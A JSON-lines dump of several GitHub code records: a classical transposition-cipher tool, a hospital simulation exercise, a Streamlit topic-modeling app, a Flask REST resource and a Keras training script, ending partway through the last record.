# Print with a | (\"pipe\" character) after it in case there are spaces at\n # the end of the encrypted message.\n print(ciphertext + '|')\n\n # Copy the encrypted string in ciphertext to the clipboard.\n pyperclip.copy(ciphertext)\n print()\n print(\"\")\n print(\"Warning: do not copy this manually because there is a pipe character at the end of the message that\"\n \" will mess up decryption.\")\n\n\ndef convert_to_tuple(myPermutation): #function accepts input and converts the string into a tuple\n i = 0\n while i < len(myPermutation):\n s = ''\n while i < len(myPermutation) and myPermutation[i].isnumeric():\n s += myPermutation[i]\n i += 1\n try:\n del (myPermutation[i])\n except IndexError:\n #do nothing - code will fix itself later\n x = 1 #place an arbitrary statement to prevent indentation error\n for j in range(i-1, i - len(s), -1): #j in range (3, 1, -1)\n del(myPermutation[j])\n i -= 1\n if len(s) > 0:\n myPermutation[i - 1] = int(s)\n \n myPermutation = tuple(myPermutation)\n return myPermutation\n\n\ndef generatePermutations(lowerBound, higherBound):\n #if i generate from (1, 3) then I need the following\n #(1, 2, 3) (1, 2) (2, 1)\n #from (2, 4) I need the following\n #(1, 2), (2, 1), (1, 2, 3), (1, 3, 2), (3, 2, 1), (1, 2, 3, 4), (1, 3, 4, 2), (1, 2, 4, 3), ...\n #permutations(1, 2) + permutations(1, 3) + permutations(1, 4)\n permutation_list = []\n for i in range(lowerBound, higherBound + 1, 1):\n #in-built function imported from iter-tools\n permutation_list.append(list(permutations(range(1, i + 1))))\n total = []\n #merge sublists into one big list that has all the permutations\n for i in permutation_list:\n total += i\n return total\n\n\n#returns the inverse of a permutation\n#needed for decryption\ndef invert(perm):\n minValue = min(perm)\n li = []\n for l in range(minValue, len(perm) + minValue, 1):\n li.append(perm.index(l) + minValue)\n return tuple(li)\n\n\n#additional parameter = n (for n-grams)\n#precondition: permutation is valid with lowest column # = 1\ndef encrypt_horizontal(message, key, n=1, filler='X'):\n #example message: AABBCCDDEEFF\n #example permutation: 2, 1, 3\n #n = 2\n key = get_permutation(key) if type(key) == tuple else key_permutation(key)\n result = [] #represents the final message\n #1. break into 2-grams and add padding as necessary\n ngrams_list = break_into_ngrams_with_remainders(message, n)\n #add padding to the last ngram if it has been truncated -- if there is filler\n if filler != '':\n while len(ngrams_list[len(ngrams_list) - 1]) < n:\n ngrams_list[len(ngrams_list) - 1] += filler\n #2. make a list of horizontal parts ([['AA' 'BB' 'CC'] ['DD' 'EE' 'FF']])\n parts_to_tranpose_list = []\n index = 0\n while index < len(ngrams_list):\n li = []\n for j in range(len(key)):\n try:\n #if index is OK, append normally\n li.append(ngrams_list[index])\n except IndexError:\n #otherwise append a filler block\n li.append(filler * n)\n index += 1\n parts_to_tranpose_list.append(li)\n\n #3. transpose each part\n for part in parts_to_tranpose_list:\n for i in range(len(key)):\n result.append(part[key[i] - 1])\n\n return ''.join(result)\n\ndef decrypt_horizontal(message, key, n=1):\n #same as encrypting with the inverse permutation -- except if there are remainders\n key = get_permutation(key) if type(key) == tuple else key_permutation(key)\n inv_perm = invert(key)\n column_size = math.ceil(len(message) / (n * len(key)))\n are_remainders = len(message) / (n * len(key)) != column_size #check to see if there even are remainders\n #if there are no remainders, it is a simple calculation\n if not are_remainders:\n return encrypt_horizontal(message, inv_perm, n)\n #otherwise...\n grid_size = column_size * len(key)\n num_of_remainders = grid_size - math.ceil(len(message) / n)\n letters_per_row = n * len(key)\n truncated = ''.join(break_into_ngrams(message, letters_per_row))\n #this part of the message can be decrypted simply using the encryption algorithm & the inverse of the key\n non_remainder_decrypted = encrypt_horizontal(truncated, inv_perm, n)\n #but more needs to be done to get the remainder in the right order...\n non_truncated = break_into_ngrams_with_remainders(message, letters_per_row)\n remainder_portion = non_truncated[len(non_truncated) - 1]\n #if remainder is a single-cell remainder just append to the end of the message\n if len(remainder_portion) <= n:\n return non_remainder_decrypted + ''.join(remainder_portion)\n #otherwise... do the complicated rearrangement process\n else:\n reconstructed_rem_rows_list = []\n i = 0\n j = 0\n\n while i < len(key):\n\n addend = 0\n\n if key[i] == len(key) - num_of_remainders:\n\n block_remainder = (n - len(message) % n) % n\n addend = n - block_remainder\n\n elif key[i] in range(len(key) - num_of_remainders):\n\n addend = n\n\n reconstructed_rem_rows_list.append(remainder_portion[j: j + addend])\n j += addend\n i += 1\n\n #put the rows in the remainder list in the right order\n ordered_rem_rows = []\n\n for i in range(len(inv_perm)):\n ordered_rem_rows.append(reconstructed_rem_rows_list[inv_perm[i] - 1])\n #return the truncated decryption + the remainder decryption\n return non_remainder_decrypted + ''.join(ordered_rem_rows)\n\n#precondition is same as encrypt_horizontal\ndef encrypt_vertical(message, key, n=1, filler='X'):\n # example message: AABBCCDDEE\n # example permutation: 2, 1, 3\n # n = 2\n key = get_permutation(key) if type(key) == tuple else key_permutation(key)\n result = []\n column_size = math.ceil(len(message)/(n * len(key)))\n #1. break into 2-grams and add padding as necessary\n ngrams_list = break_into_ngrams_with_remainders(message, n)\n # add padding to the last ngram if it has been truncated -- if filler is not the empty string\n if filler != '':\n while len(ngrams_list[len(ngrams_list) - 1]) < n:\n ngrams_list[len(ngrams_list) - 1] += filler\n #2. make a list of columns\n #[['AA' 'DD'] ['BB' 'EE'] ['CC']]\n columns_list = []\n for i in range(len(key)):\n columns_list.append(ngrams_list[i::len(key)])\n # add padding blocks to the columns that have been truncated\n #(in this case, add 'XX' to the 'CC' column)\n for column in columns_list:\n if len(column) < column_size:\n column.append(n * filler)\n #3. rearrange the columns in the list\n for j in range(len(key)):\n col = columns_list[key[j] - 1]\n result.append(''.join(col))\n\n return ''.join(result)\n\n\n#this was EXTREMELY DIFFICULT to write and took a lot of thinking\n#works for both complete AND incomplete columnar transposition\ndef decrypt_vertical(message, key, n=1):\n\n key = get_permutation(key) if type(key) == tuple else key_permutation(key)\n result = []\n column_size = math.ceil(len(message)/(n * len(key))) #helpful for reconstructing columns\n #ngrams_list = ngramFrequencyAnalysis.break_into_ngrams(message, n)\n #1. reconstruct columns\n reconstructed_columns_list = []\n grid_size = column_size * len(key)\n num_of_remainders = grid_size - math.ceil(len(message)/n)\n\n #1. RECONSTRUCT THE COLUMNS -- note they are still out of order\n i = 0\n j = 0\n while j < len(message):\n\n if key[i] in range(len(key) - num_of_remainders + 1):\n #if it is the very end-of-the-message reaching column\n if key[i] == len(key) - num_of_remainders:\n block_remainder = (n - len(message) % n) % n\n addend = n * column_size - block_remainder\n else:\n addend = n * column_size\n\n reconstructed_columns_list.append(message[j: j + addend])\n j += addend\n\n else:\n addend = n * (column_size - 1)\n reconstructed_columns_list.append(message[j: j + addend])\n j += addend\n\n i += 1\n\n #2. Put the columns back in order\n #make sure to use the inverse permutation!\n ordered_columns = []\n inv_perm = invert(key)\n\n for i in range(len(inv_perm)):\n ordered_columns.append(reconstructed_columns_list[inv_perm[i] - 1])\n\n #3. splice together the columns\n i = 0\n while i < (len(ordered_columns[0])):\n try:\n result.append(''.join(list(map(lambda x: x[i: i + n], ordered_columns))))\n except IndexError:\n #for every column\n for column in ordered_columns:\n if i < len(column):\n #if it has extra characters past i, append the characters to the end of the message\n result.append(column[i: len(column[i]) - 1])\n\n i += n\n\n return ''.join(result)\n\n#returns the permutation of an ordering\n#example: input is (0, 4, 2, 5)\n#the output should be in order, [1-4]\n#output: (1, 3, 2, 4)\n#SPECIAL CASE example: input = (0, 1, 0, 2)\n#output should be (1, 3, 2, 4)\n\ndef get_permutation(inp: tuple):\n\n indexes_list = []\n ordered = list(sorted(inp)) #sorted ordering (least to greatest)\n permutation_list = list(inp) #needs to be a list so it can be modified\n for item in ordered:\n index = permutation_list.index(item)\n indexes_list.append(index + 1) # add one to index because we are working in a base-1 indexing system\n permutation_list[index] = 'X' #change item at this index to indicate it has been added\n\n\n\n #turns out that inverting the indexes list returns the proper output. Wow!\n return invert(tuple(indexes_list))\n\n#converts an alphabetical key to a permutation\n#EXAMPLE: \"PORK\" --> (4, 2, 1, 3) because alphabetical order\ndef key_permutation(inp: str, alphabet='ABCDEFGHIJKLMNOPQRSTUVWXYZ'):\n #1. take out non-letters and spaces and convert to upper-case\n regex = re.compile('[^a-zA-Z]')\n inp = regex.sub('', inp).upper()\n nums = []\n #2. convert letters to numbers\n for letter in inp:\n nums.append(alphabet.index(letter))\n\n #3. get the appropriate permutation\n return invert(get_permutation(tuple(nums)))\n\n\ndef display_best_decryptions(message, direction, lowerBound, higherBound, n=1, num_of_decryptions=10, silentMode=False):\n decryptions = [] #this will be a list with tuples to store the key, message, and english score\n permutation_list = generatePermutations(lowerBound, higherBound)\n if direction == 'horizontal':\n decryptMessage = decrypt_horizontal\n else:\n decryptMessage = decrypt_vertical\n for perm in permutation_list:\n plaintext = decryptMessage(message, perm, n)\n decryptions.append((englishScore.english_word_score(plaintext), perm, plaintext))\n decryptions.sort(key=lambda x: x[0], reverse=True)\n\n if not silentMode:\n try:\n print(\"%d best solutions: \" %num_of_decryptions)\n for i in range(num_of_decryptions):\n print(\"%-3d %-7.3f - %-40s: %s\" %(i+1, decryptions[i][0], decryptions[i][1], decryptions[i][2]))\n except IndexError:\n pass\n return decryptions[0][2]\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "ArushC/ciphers", "sub_path": "transposition/ngramTransposition.py", "file_name": "ngramTransposition.py", "file_ext": "py", "file_size_in_byte": 13277, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "80", "api": [{"api_name": "miscellaneous.pyperclip.copy", "line_number": 51, "usage_type": "call"}, {"api_name": "miscellaneous.pyperclip", "line_number": 51, "usage_type": "name"}, {"api_name": "itertools.permutations", "line_number": 89, "usage_type": "call"}, {"api_name": "cryptanalysis.ngramFrequencyAnalysis.break_into_ngrams_with_remainders", "line_number": 116, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 147, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 154, "usage_type": "call"}, {"api_name": "cryptanalysis.ngramFrequencyAnalysis.break_into_ngrams", "line_number": 156, "usage_type": "call"}, {"api_name": "cryptanalysis.ngramFrequencyAnalysis.break_into_ngrams_with_remainders", "line_number": 160, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 203, "usage_type": "call"}, {"api_name": "cryptanalysis.ngramFrequencyAnalysis.break_into_ngrams_with_remainders", "line_number": 205, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 234, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 239, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 314, "usage_type": "call"}, {"api_name": "englishDetection.englishScore.english_word_score", "line_number": 334, "usage_type": "call"}, {"api_name": "englishDetection.englishScore", "line_number": 334, "usage_type": "name"}]} +{"seq_id": "17101943662", "text": "from clases_hospital import Hospital, Doctor, Nurse, Room, Patient\nfrom utils import sign\n\nif __name__ == '__main__':\n # creación de objetos\n hospital = Hospital(\"Moby_Dick\")\n doctor1 = Doctor(\"Law\", \"Trafalgar\", \"12345678L\", \"Neurocirugía\")\n doctor2 = Doctor(\"Marco\", \"Phoenix\", \"87654321M\", \"Geriatría\")\n nurse1 = Nurse(\"Chopper\", \"Tony Tony\", \"75369124C\", \"primera planta\")\n nurse2 = Nurse(\"Crocus\", \"Laboon\", \"85264739C\", \"segunda planta\")\n room1 = Room(\"consulta 1\", doctor1)\n room2 = Room(\"consulta 2\", doctor2)\n patient1 = Patient(\"zoro\", \"Roronoa\", \"12654789Z\", \"mareos\")\n patient2 = Patient(\"Edward\", \"Newgate\", \"45632178S\", \"taquicardia\")\n patient3 = Patient(\"Ace\", \"Portgas\", \"78965432A\", \"dolor de pecho\")\n patient4 = Patient(\"Sanji\", \"Vinsmoke\", \"63254178V\", \"ahogos\")\n lobby = [patient1, patient2, patient3, patient4]\n hospital.open()\n sign(doctor1, doctor2, nurse1, nurse2)\n entry_ticket = 0\n while len(lobby) > 0:\n if entry_ticket % 2 == 0:\n print(\"el enfermero {} esta atendiendo al paciente {}\".format(nurse2.name, lobby[0].name))\n nurse2.care(lobby[0], room1)\n else:\n print(\"el enfermero {} esta atendiendo al paciente {}\".format(nurse1.name, lobby[0].name))\n nurse1.care(lobby[0], room2)\n entry_ticket += 1\n lobby.pop(0)\n print(\"el hospital ha cerrado sus puertas\")", "repo_name": "jjramiro/PythonIbertechCurso", "sub_path": "Ejercicio_hospital.py", "file_name": "Ejercicio_hospital.py", "file_ext": "py", "file_size_in_byte": 1414, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "clases_hospital.Hospital", "line_number": 6, "usage_type": "call"}, {"api_name": "clases_hospital.Doctor", "line_number": 7, "usage_type": "call"}, {"api_name": "clases_hospital.Doctor", "line_number": 8, "usage_type": "call"}, {"api_name": "clases_hospital.Nurse", "line_number": 9, "usage_type": "call"}, {"api_name": "clases_hospital.Nurse", "line_number": 10, "usage_type": "call"}, {"api_name": "clases_hospital.Room", "line_number": 11, "usage_type": "call"}, {"api_name": "clases_hospital.Room", "line_number": 12, "usage_type": "call"}, {"api_name": "clases_hospital.Patient", "line_number": 13, "usage_type": "call"}, {"api_name": "clases_hospital.Patient", "line_number": 14, "usage_type": "call"}, {"api_name": "clases_hospital.Patient", "line_number": 15, "usage_type": "call"}, {"api_name": "clases_hospital.Patient", "line_number": 16, "usage_type": "call"}, {"api_name": "utils.sign", "line_number": 19, "usage_type": "call"}]} +{"seq_id": "26961659564", "text": "import base64\nimport streamlit as st\nimport pandas as pd\nfrom utils.stopwords import german, french, spanish\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.decomposition import LatentDirichletAllocation\nfrom io import StringIO\nimport pyLDAvis\nimport pyLDAvis.lda_model\n\n# Global variables for stop words and n-gram options\nSTOP_WORDS = {\n \"english\": \"english\",\n \"german\": german,\n \"french\": french,\n \"spanish\": spanish,\n}\n\nNGRAM_OPTIONS = {\n \"unigram\": (1, 1),\n \"unigram + bigram\": (1, 2),\n \"unigram + bigram + trigram\": (1, 3),\n \"bigram\": (2, 2),\n \"trigram\": (3, 3),\n}\n\n\ndef main():\n \"\"\"\n Main function to run the Simple Topic Modeling app.\n The app allows users to upload a corpus of text documents and discover topics within them using Latent Dirichlet Allocation (LDA).\n It provides options for preprocessing the corpus, setting the model parameters, and visualizing the results.\n \"\"\"\n # Set page config\n st.set_page_config(layout=\"wide\", initial_sidebar_state=\"collapsed\")\n\n # Sidebar\n st.sidebar.title(\"About\")\n st.sidebar.markdown(\n \"\"\"\n This app is a simple topic modeling tool that uses Latent Dirichlet Allocation (LDA) to discover topics in a corpus of text documents. \n It is based on the [scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.decomposition.LatentDirichletAllocation.html)\n implementations of LDA and uses [pyLDAvis](https://github.com/bmabey/pyLDAvis) for visualizing the topics.\n \"\"\"\n )\n st.sidebar.info(\n \"\"\"\n This app is maintained by [Moritz Mähr](https://maehr.github.io/).\n \"\"\",\n icon=\"ℹ️\",\n )\n\n # Main page\n st.title(\"Simple Topic Modeling\")\n st.markdown(\n \"\"\"\n Topic modeling is a great way to discover the main themes in a corpus of text documents. \n It is an unsupervised learning technique that can be used to discover topics in a corpus of documents. \n Each topic is a distribution over the vocabulary of the corpus. \n The goal of topic modeling is to find a set of topics that best describes the corpus.\n \"\"\"\n )\n st.subheader(\"Step 1: Upload Your Text Files\")\n uploaded_files = st.file_uploader(\n \"Upload your text files containing the documents you want to discover topics for.\",\n type=[\"txt\", \"text\", \"md\", \"markdown\", \"rtf\", \"csv\", \"tsv\", \"log\"],\n accept_multiple_files=True,\n )\n if uploaded_files:\n data = [\n {\"filename\": file.name, \"content\": file.read().decode(\"utf-8\")}\n for file in uploaded_files\n ]\n df = pd.DataFrame(data)\n st.markdown(\"**Corpus Statistics**\")\n st.write(f\"Number of Documents: {df.shape[0]}\")\n st.write(\n f\"Average Document Length: {df['content'].apply(lambda x: len(x.split())).mean():.2f} words\"\n )\n st.subheader(\"Step 2: Preprocessing the corpus\")\n st.markdown(\n \"Choose the preprocessing options that best suit your data. Removing stop words and short words can help improve the quality of the topics generated.\"\n )\n remove_stop_words = st.checkbox(\"Remove Stop Words\", value=True)\n if remove_stop_words:\n language = st.selectbox(\"Choose Language for Stop Words\", STOP_WORDS.keys())\n use_custom_stop_words = st.checkbox(\"Use a Custom Stop Words List\")\n custom_stop_words = []\n\n remove_short_words_and_numbers = st.checkbox(\n \"Remove Short Words and Numbers\", value=True\n )\n if remove_stop_words and use_custom_stop_words:\n custom_stop_words = [\n word.strip()\n for word in st.text_area(\"Enter Custom Stop Words\").split(\",\")\n ]\n st.markdown(\n \"\"\"\n Choose the n-gram range for the vectorizer. \n The n-gram range determines the number of words that are considered as a single token. \n For example, a unigram range means that each word is considered as a single token. \n A bigram range means that each pair of words is considered as a single token. \n A trigram range means that each triplet of words is considered as a single token.\n \"\"\"\n )\n ngram = st.selectbox(\"N-Gram Range\", list(NGRAM_OPTIONS.keys()))\n ngram_range = NGRAM_OPTIONS[ngram]\n st.subheader(\"Step 3: Setting the model parameters\")\n st.markdown(\n \"\"\"\n Choose the number of topics and the maximum number of iterations for the model.\n The more iterations, the better the model will fit the data. But it will also take longer to run.\n \"\"\"\n )\n num_topics = st.slider(\"Number of Topics\", 1, 20, 5)\n max_iter = st.slider(\"Max Iterations\", 10, 500, 50)\n st.subheader(\"Step 4: Run the topic model and visualize the results\")\n st.markdown(\n \"Click the button below to run the topic model and discover topics in your corpus. This may take a while depending on the number of documents and the number of topics.\"\n )\n\n st.warning(\n \"The app does not give visual feedback while processing.\",\n icon=\"🚨\",\n )\n\n button = st.button(\"Compute Topic Model\")\n if button:\n st.text(\"Processing...\")\n if button:\n token_pattern = (\n r\"(?u)\\b[a-zA-Z][a-zA-Z0-9_]{2,}\\b\"\n if remove_short_words_and_numbers\n else None\n )\n vectorizer = CountVectorizer(\n lowercase=True,\n stop_words=custom_stop_words\n if use_custom_stop_words\n else STOP_WORDS[language]\n if remove_stop_words\n else None,\n token_pattern=token_pattern,\n ngram_range=ngram_range,\n )\n dtm = vectorizer.fit_transform(df[\"content\"])\n lda = LatentDirichletAllocation(n_components=num_topics, max_iter=max_iter)\n lda_output = lda.fit_transform(dtm)\n dominant_topic = lda_output.argmax(axis=1)\n topic_weights = lda_output.max(axis=1)\n df_topic_weights = pd.DataFrame(\n {\"Dominant_Topic\": dominant_topic, \"Topic_Weight\": topic_weights}\n )\n df_topic_weights[\"Filename\"] = df[\"filename\"]\n df_topic_distribution = pd.DataFrame(\n {\n \"Document_Index\": df_topic_weights.index,\n \"Filename\": df_topic_weights[\"Filename\"],\n \"Dominant_Topic\": df_topic_weights[\"Dominant_Topic\"],\n \"Topic_Weight\": df_topic_weights[\"Topic_Weight\"],\n }\n )\n df_all_topic_weights = pd.DataFrame(\n lda_output, columns=[i + 1 for i in range(lda_output.shape[1])]\n )\n df_all_topic_weights[\"Dominant_Topic\"] = df_all_topic_weights.idxmax(axis=1)\n df_all_topic_weights_reset = df_all_topic_weights.reset_index(drop=True)\n df_filename_reset = df[\"filename\"].reset_index(drop=True)\n df_topic_distribution = pd.concat(\n [df_filename_reset, df_all_topic_weights_reset], axis=1\n )\n cols = [\"filename\", \"Dominant_Topic\"] + [\n col\n for col in df_topic_distribution.columns\n if col not in [\"filename\", \"Dominant_Topic\"]\n ]\n df_topic_distribution = df_topic_distribution[cols]\n\n prepared_pyLDAvis_data = pyLDAvis.lda_model.prepare(lda, dtm, vectorizer)\n pyLDAvis_html = pyLDAvis.prepared_data_to_html(prepared_pyLDAvis_data)\n st.text(\"Done processing!\")\n st.subheader(\"Topics\")\n st.components.v1.html(pyLDAvis_html, width=1200, height=800, scrolling=True)\n\n st.subheader(\"Download Visualization\")\n html_buffer = StringIO()\n pyLDAvis.save_html(prepared_pyLDAvis_data, html_buffer)\n html_buffer.seek(0)\n html_str = html_buffer.read()\n html_base64 = base64.b64encode(html_str.encode()).decode()\n html_href = f'Download Visualization'\n st.markdown(html_href, unsafe_allow_html=True)\n\n st.subheader(\"Download Topic Model\")\n json_buffer = StringIO()\n pyLDAvis.save_json(prepared_pyLDAvis_data, json_buffer)\n json_buffer.seek(0)\n json_str = json_buffer.read()\n json_base64 = base64.b64encode(json_str.encode()).decode()\n json_href = f'Download Topic Model'\n st.markdown(json_href, unsafe_allow_html=True)\n\n st.subheader(\"Download Topic Distribution\")\n csv_buffer = StringIO()\n df_topic_distribution.to_csv(csv_buffer, index=False)\n csv_buffer.seek(0)\n csv_str = csv_buffer.read()\n csv_base64 = base64.b64encode(csv_str.encode()).decode()\n csv_href = f'Download Topic Distribution'\n st.markdown(csv_href, unsafe_allow_html=True)\n st.warning(\n \"The numbering of the topics in the topic distribution does not necessarily correspond to the numbering of the topics in the visualization. We are working on this issue.\",\n icon=\"🚨\",\n )\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "maehr/simple-topic-modeling", "sub_path": "src/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 9708, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "80", "api": [{"api_name": "utils.stopwords.german", "line_number": 14, "usage_type": "name"}, {"api_name": "utils.stopwords.french", "line_number": 15, "usage_type": "name"}, {"api_name": "utils.stopwords.spanish", "line_number": 16, "usage_type": "name"}, {"api_name": "streamlit.set_page_config", "line_number": 35, "usage_type": "call"}, {"api_name": "streamlit.sidebar.title", "line_number": 38, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 38, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.markdown", "line_number": 39, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 39, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.info", "line_number": 46, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 46, "usage_type": "attribute"}, {"api_name": "streamlit.title", "line_number": 54, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 55, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 63, "usage_type": "call"}, {"api_name": "streamlit.file_uploader", "line_number": 64, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 74, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 75, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 76, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 77, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 80, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 81, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 84, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 86, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 87, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 90, "usage_type": "call"}, {"api_name": "streamlit.text_area", "line_number": 96, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 98, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 107, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 109, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 110, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 116, "usage_type": "call"}, {"api_name": "streamlit.slider", "line_number": 117, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 118, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 119, "usage_type": "call"}, {"api_name": "streamlit.warning", "line_number": 123, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 128, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 130, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 137, "usage_type": "call"}, {"api_name": "sklearn.decomposition.LatentDirichletAllocation", "line_number": 148, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 152, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 156, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 164, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 170, "usage_type": "call"}, {"api_name": "pyLDAvis.lda_model.prepare", "line_number": 180, "usage_type": "call"}, {"api_name": "pyLDAvis.lda_model", "line_number": 180, "usage_type": "attribute"}, {"api_name": "pyLDAvis.prepared_data_to_html", "line_number": 181, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 182, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 183, "usage_type": "call"}, {"api_name": "streamlit.components.v1.html", "line_number": 184, "usage_type": "call"}, {"api_name": "streamlit.components", "line_number": 184, "usage_type": "attribute"}, {"api_name": "streamlit.subheader", "line_number": 186, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 187, "usage_type": "call"}, {"api_name": "pyLDAvis.save_html", "line_number": 188, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 191, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 193, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 195, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 196, "usage_type": "call"}, {"api_name": "pyLDAvis.save_json", "line_number": 197, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 200, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 202, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 204, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 205, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 209, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 211, "usage_type": "call"}, {"api_name": "streamlit.warning", "line_number": 212, "usage_type": "call"}]} +{"seq_id": "49225759385", "text": "from flask import request, Blueprint\r\nfrom flask_restful import Api, Resource\r\n\r\nfrom .schemas import DatabasesSchema\r\nfrom ..models import Databases\r\n\r\ndatas_v1_0_bp = Blueprint('datas_v1_0_bp', __name__)\r\n\r\ndatas_schema = DatabasesSchema()\r\n\r\napi = Api(datas_v1_0_bp)\r\n\r\nclass DatasListResource(Resource):\r\n def get(self):\r\n datas = Data.get_all()\r\n result = datas_schema.dump(datas, many=True)\r\n return result\r\n\r\n def post(self):\r\n data = request.get_json()\r\n datas_dict = film_schema.load(data)\r\n databases = Databases(nombre=datas_dict['nombre'],\r\n apellido=datas_dict['apellido'],\r\n nacimiento=datas_dict['nacimiento'],\r\n edad=datas_dict['edad'],\r\n nombrecompleto=datas_dict['nombrecompleto'],\r\n numeropedido=datas_dict['numeropedido'],\r\n tipopedido= datas_dict['tipopedido']\r\n )\r\n databases.save()\r\n resp = datas_schema.dump(datas)\r\n return resp, 201\r\n\r\nclass DatasResource(Resource):\r\n def get(self, cedula_id):\r\n databases = Databases.get_by_id(cedula_id)\r\n if databases is None:\r\n raise ObjectNotFound('No existe')\r\n resp = datas_schema.dump(datas)\r\n return resp\r\n \r\n\r\napi.add_resource(DatasListResource, '/api/v1.0/databases/', endpoint='datas_list_resource')\r\napi.add_resource(DatasResource, '/api/v1.0/databases/', endpoint='datas_resource')\r\n", "repo_name": "ingandres00/Flask-App2", "sub_path": "app/databases/api_v1_0/resources.py", "file_name": "resources.py", "file_ext": "py", "file_size_in_byte": 1506, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "flask.Blueprint", "line_number": 7, "usage_type": "call"}, {"api_name": "schemas.DatabasesSchema", "line_number": 9, "usage_type": "call"}, {"api_name": "flask_restful.Api", "line_number": 11, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 13, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "models.Databases", "line_number": 22, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 34, "usage_type": "name"}, {"api_name": "models.Databases.get_by_id", "line_number": 36, "usage_type": "call"}, {"api_name": "models.Databases", "line_number": 36, "usage_type": "name"}]} +{"seq_id": "43429005756", "text": "from keras.models import Sequential\nfrom keras.layers import Dense, Activation\nfrom keras.initializers import *\nimport numpy as np\nfrom Toolset import *\nimport matplotlib.pyplot as plt\n\n\nnum_of_neurons = range(10,100,10)\nd = np.zeros(len(num_of_neurons))\nindex = 0\n\n# load data\nx_data = np.loadtxt(r'/home/chen/MA_python/dataset/x_data_set')\ny_data = np.loadtxt(r'/home/chen/MA_python/dataset/y_data_set')\n\nsplit_ratio = 0.7\nnumber_of_samples = np.shape(x_data)[0]\n\n# train data\nx_data_train = x_data[0: int(number_of_samples*split_ratio), ]\ny_data_train = y_data[0: int(number_of_samples*split_ratio), ]\n\n# test data\nx_data_test = x_data[int(number_of_samples*split_ratio):, ]\ny_data_test = y_data[int(number_of_samples*split_ratio):, ]\n\nnumber_of_test_data = np.shape(x_data_test)[0]\n\n# set initializers\nW1 = random_normal(seed=1)\nW2 = random_uniform(seed=100000)\n\nd = np.zeros(5)\nindex = 0\nseed_range = range(1,50000,10000)\nfor i in seed_range:\n W1 = random_normal(seed=i)\n model = Sequential()\n model.add(Dense(units=200, input_shape=(5,), kernel_initializer=W1, bias_initializer=W1, activation='relu'))\n model.add(Dense(units=200, kernel_initializer=W2, bias_initializer=W1, activation='sigmoid'))\n model.add(Dense(units=9, activation='relu', kernel_initializer=W1, bias_initializer=W1))\n model.compile(loss='mean_squared_error',optimizer='adam')\n model.fit(x_data_train, y_data_train, batch_size=128, epochs= 50)\n loss = model.evaluate(x_data_test, y_data_test)\n d[index] = loss\n index += 1\n\nplt.plot(d)\nplt.xlabel(str(i) + 'th training')\nplt.ylabel('loss')\nplt.show()\n\npredition = model.predict(x_data_test)\n\nrounded_prediction = np.round(predition)\n\n\n", "repo_name": "busted12/DL-for-Network", "sub_path": "min-cost 